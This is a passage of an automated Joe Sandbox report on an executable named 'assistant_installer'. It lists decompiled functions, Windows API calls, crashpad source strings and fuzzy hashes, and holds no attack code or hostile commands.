                                                                                                                                                                                                                  • Part of subcall function 00756AE0: GetCurrentThreadId.KERNEL32 ref: 00756B7D
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0076E557
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0076E5B8
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0076E607
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0076E6DB
                                                                                                                                                                                                                  • Part of subcall function 007B206C: SetUnhandledExceptionFilter.KERNEL32(007B31D0), ref: 007B2092
                                                                                                                                                                                                                  • Part of subcall function 007B206C: SetConsoleCtrlHandler.KERNEL32(007B31B0,00000001), ref: 007B20A4
                                                                                                                                                                                                                  • Part of subcall function 007B206C: _strlen.LIBCMT ref: 007B20ED
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen$Thread$Current$ConsoleCtrlDebuggerDescriptionExceptionFilterHandlerPresentUnhandled
                                                                                                                                                                                                                • String ID: ptype
                                                                                                                                                                                                                • API String ID: 1129154603-2456461287
                                                                                                                                                                                                                • Opcode ID: 2f36466c11717ae2c13833a05f0d775b9ddcc1249fc191a70896153cf58c0d38
                                                                                                                                                                                                                • Instruction ID: 313495de44b4d2b94569435ea7255d6b91c73de16f3744fb84f2830b5c11aa93
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2f36466c11717ae2c13833a05f0d775b9ddcc1249fc191a70896153cf58c0d38
                                                                                                                                                                                                                • Instruction Fuzzy Hash: D432C0B49083519FD710DF28C884A2BFBE5FF99704F04891DF88A97252E775E944CBA2
                                                                                                                                                                                                                Function 007E70A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 64pipeCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1469 7e70a0-7e70bf 1470 7e70c5-7e70ce ConnectNamedPipe 1469->1470 1471 7e70dd-7e70e8 call 7e71a2 1470->1471 1472 7e70d0-7e70db GetLastError 1470->1472 1477 7e713f-7e7142 call 76acee 1471->1477 1478 7e70ea-7e70ef DisconnectNamedPipe 1471->1478 1472->1471 1473 7e70f1-7e70fd call 73be20 1472->1473 1473->1478 1481 7e70ff-7e713d call 73c840 call 73c9e0 call 6f1741 call 73ca90 1473->1481 1482 7e7147-7e7166 call 82945e call 8294aa 1477->1482 1478->1470 1481->1478
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ConnectNamedPipe.KERNELBASE(?,00000000), ref: 007E70CA
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 007E70D0
                                                                                                                                                                                                                • DisconnectNamedPipe.KERNELBASE(?), ref: 007E70ED
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ConnectNamedPipe, xrefs: 007E711E
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/win/exception_handler_server.cc, xrefs: 007E7112
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: NamedPipe$ConnectDisconnectErrorLast
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/win/exception_handler_server.cc$ConnectNamedPipe
                                                                                                                                                                                                                • API String ID: 30367271-2315139036
                                                                                                                                                                                                                • Opcode ID: 446ca6cee3bea84ec9940ec51b2daeeccbd37b4aeb6430f3f89b73a53afeab45
                                                                                                                                                                                                                • Instruction ID: 9d3f51bd5c6d9894f85295fa3733323c1bdb778dc0a6a6c625024dd5f00aeead
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 446ca6cee3bea84ec9940ec51b2daeeccbd37b4aeb6430f3f89b73a53afeab45
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6C11E771544208ABEA14BB65EC4BFBAB325BB68310F004025F909E6182EB79A954C6E3
                                                                                                                                                                                                                Function 00759A00 Relevance: 7.7, APIs: 5, Instructions: 177timeCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1495 759a00-759a08 1496 759a17-759a18 1495->1496 1497 759a0a-759a15 SystemFunction036 1495->1497 1497->1496 1498 759a19-759a42 1497->1498 1499 759a44-759a93 GetSystemTimeAsFileTime call 829750 1498->1499 1500 759a98-759ad4 1498->1500 1499->1500 1504 759b7d-759bd2 1500->1504 1505 759ada-759ae9 1500->1505 1506 759bd4-759bed 1504->1506 1507 759bfe-759c4d 1504->1507 1509 759af0-759b77 GetSystemTimeAsFileTime call 829750 1505->1509 1510 759c4f 1506->1510 1511 759bef-759bf9 1506->1511 1512 759c53-759c6f call 8294aa 1507->1512 1509->1504 1510->1512 1511->1512 1514 759bfb-759bfc 1511->1514 1514->1507
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SystemFunction036.ADVAPI32(FFFFFFFF,FFFFFFFF,?,00741BE8,?,00000008,000000FF), ref: 00759A0E
                                                                                                                                                                                                                • GetSystemTimeAsFileTime.KERNEL32(?), ref: 00759A76
                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00759A88
                                                                                                                                                                                                                • GetSystemTimeAsFileTime.KERNEL32(?), ref: 00759B1E
                                                                                                                                                                                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00759B2C
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Time$System$FileUnothrow_t@std@@@__ehfuncinfo$??2@$Function036
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 2980182385-0
                                                                                                                                                                                                                • Opcode ID: 1331b2cc3912d90c4ea02dc499e1f642acdcdb10f1ef871c46fa865005620e3c
                                                                                                                                                                                                                • Instruction ID: f5cb40580f13662d1184533b60092bc66c0ba83df20aea5c86897e343bcdd782
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1331b2cc3912d90c4ea02dc499e1f642acdcdb10f1ef871c46fa865005620e3c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 9961C1756083019FD700CF68D88075ABBE5FBC9720F148A2CE9A8877A0D7749949CB92
                                                                                                                                                                                                                Function 007B5423 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 130COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileAttributesW.KERNELBASE(00000004), ref: 007B5446
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/client/crash_report_database_win.cc$: not a directory$GetFileAttributes
                                                                                                                                                                                                                • API String ID: 3188754299-3496458271
                                                                                                                                                                                                                • Opcode ID: 08c95a85ca409ec22025e7d49ae73a5868d4ee739e3776af643c100a6d6d8361
                                                                                                                                                                                                                • Instruction ID: 61321a47f7d1b3368b7e186a338171cbb320e8a80a9d3ac47e1838fafcc4322b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 08c95a85ca409ec22025e7d49ae73a5868d4ee739e3776af643c100a6d6d8361
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 90411D71900228AAFF30BB14DC46FF6776AAF11354F0440A8F94DE7183E7396E488B61
                                                                                                                                                                                                                Function 007E7BC4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateEventW.KERNEL32 ref: 007E7C1D
                                                                                                                                                                                                                • CreateEventW.KERNEL32(?,?,?,?,?), ref: 007E7C8E
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateEvent
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/win/session_end_watcher.cc$CreateEvent
                                                                                                                                                                                                                • API String ID: 2692171526-1378153383
                                                                                                                                                                                                                • Opcode ID: 927c47109fd9b79abb0c5ed7af078f624a19cff66f2c1a492a3d0a679b41e0a7
                                                                                                                                                                                                                • Instruction ID: e5509b3f5e515b6582f2411e5dffdb4fbd73abdde28be61929f24aa2026b1d8f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 927c47109fd9b79abb0c5ed7af078f624a19cff66f2c1a492a3d0a679b41e0a7
                                                                                                                                                                                                                • Instruction Fuzzy Hash: DA31BC70A00318DBEB30BF689C47B6BF7B9FF44300F00456DE949A6683DB7466488B92
                                                                                                                                                                                                                Function 007B5307 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateDirectoryW.KERNELBASE(?,00000000), ref: 007B532C
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 007B533C
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • CreateDirectory , xrefs: 007B539B
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/client/crash_report_database_win.cc, xrefs: 007B5389
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateDirectoryErrorLast
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/client/crash_report_database_win.cc$CreateDirectory
                                                                                                                                                                                                                • API String ID: 1375471231-4140125794
                                                                                                                                                                                                                • Opcode ID: 9fd7a5b822e68224fe25937ee66a60f028866d1de78737aa860b15a56b73cfaa
                                                                                                                                                                                                                • Instruction ID: 7cb6b26034d6dc7311f5d53e4b7353f15889fa0b45981813b9556fc62d451bac
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 9fd7a5b822e68224fe25937ee66a60f028866d1de78737aa860b15a56b73cfaa
                                                                                                                                                                                                                • Instruction Fuzzy Hash: D0213F71A002289BFB10BB54DC46FFEB3A8EF44354F0440A9F949EB382D7795E488761
                                                                                                                                                                                                                Function 007EAA84 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • SetFilePointerEx.KERNELBASE ref: 007EAAF5
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • SetFilePointerEx, xrefs: 007EAB42
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/file/file_io_win.cc, xrefs: 007EAB32
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FilePointer
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/file/file_io_win.cc$SetFilePointerEx
                                                                                                                                                                                                                • API String ID: 973152223-2639227240
                                                                                                                                                                                                                • Opcode ID: e4ede2cb47ec46791fdbf1788df6ca7b7147d0dcbad4c589db091c1062f784e2
                                                                                                                                                                                                                • Instruction ID: ece1e9a7f1ce8f80d23c2c38b9edf47b859114e40d26be768cd7bfc8f8404aa5
                                                                                                                                                                                                                • Opcode Fuzzy Hash: e4ede2cb47ec46791fdbf1788df6ca7b7147d0dcbad4c589db091c1062f784e2
                                                                                                                                                                                                                • Instruction Fuzzy Hash: C221D8719043549BD720EF298806B9FB7EAFFC8710F01851EE959A7381D774A901C793
                                                                                                                                                                                                                Function 007F8AC0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42threadCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateThread.KERNELBASE(00000000,00000000,Function_00108B30,00000000,00000000,00000000), ref: 007F8ADF
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/thread/thread_win.cc, xrefs: 007F8B01
                                                                                                                                                                                                                • CreateThread, xrefs: 007F8B18
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CreateThread
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/thread/thread_win.cc$CreateThread
                                                                                                                                                                                                                • API String ID: 2422867632-2064233884
                                                                                                                                                                                                                • Opcode ID: 550baf940434cf3edf40d8240a431a98e16ef9110529d72cf658a6df81ed230e
                                                                                                                                                                                                                • Instruction ID: 65baa22b905ae5cea7fc7312bb0e37933db84e94f05333f63a9078979b0cad22
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 550baf940434cf3edf40d8240a431a98e16ef9110529d72cf658a6df81ed230e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 44F0F6B1E40218ABD61077786C06D7F775CEB00710F00402AF905E7681FD68AE00439A
                                                                                                                                                                                                                Function 007EA51E Relevance: 4.6, APIs: 3, Instructions: 68fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ReadFile.KERNELBASE(00000000,00000000,7FFFFFFF,?,00000000,00000000,00000000), ref: 007EA553
                                                                                                                                                                                                                • ReadFile.KERNEL32(00000000,?,7FFFFFFF,FFFFFFFF,00000000), ref: 007EA58A
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 007EA596
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileRead$ErrorLast
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1577890643-0
                                                                                                                                                                                                                • Opcode ID: 2504deb7caa5ba875ad5c74210c19c66375add3d1cf945fb3b135c40a501b5a7
                                                                                                                                                                                                                • Instruction ID: 8be393f98d92533fab8f4fc1d57bbd51a7fe667d4346479be0a2dba697139b4f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 2504deb7caa5ba875ad5c74210c19c66375add3d1cf945fb3b135c40a501b5a7
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8E1190717012196FCB14DF659DC4AAE77ACFB49330B200629E926DA2C0DA34AD1487A2
                                                                                                                                                                                                                Function 007EAC0E Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 48COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CloseHandle.KERNELBASE(007ACAFE), ref: 007EAC29
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • CloseHandle, xrefs: 007EAC6A
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/file/file_io_win.cc, xrefs: 007EAC58
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CloseHandle
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/file/file_io_win.cc$CloseHandle
                                                                                                                                                                                                                • API String ID: 2962429428-1576210609
                                                                                                                                                                                                                • Opcode ID: de2bb7298d85d5565ae42b4c1790f41c74237ab5ff8e2d8603d99be13c7e8508
                                                                                                                                                                                                                • Instruction ID: 57c0d6ddec740ea3483e12c7b222e7ed89a3d3fa8a317beca63799aa2551aa7e
                                                                                                                                                                                                                • Opcode Fuzzy Hash: de2bb7298d85d5565ae42b4c1790f41c74237ab5ff8e2d8603d99be13c7e8508
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0001AC31A40318A7E62076649C5BF7F7759EB84750F410065FD456F3C2DB655D0485E2
                                                                                                                                                                                                                Function 007AC79E Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 35COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00000000,008A4F64,00000000), ref: 007AC7B4
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • CloseHandle, xrefs: 007AC7EA
                                                                                                                                                                                                                • ../../third_party/crashpad/crashpad/util/win/scoped_handle.cc, xrefs: 007AC7D3
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CloseHandle
                                                                                                                                                                                                                • String ID: ../../third_party/crashpad/crashpad/util/win/scoped_handle.cc$CloseHandle
                                                                                                                                                                                                                • API String ID: 2962429428-824743165
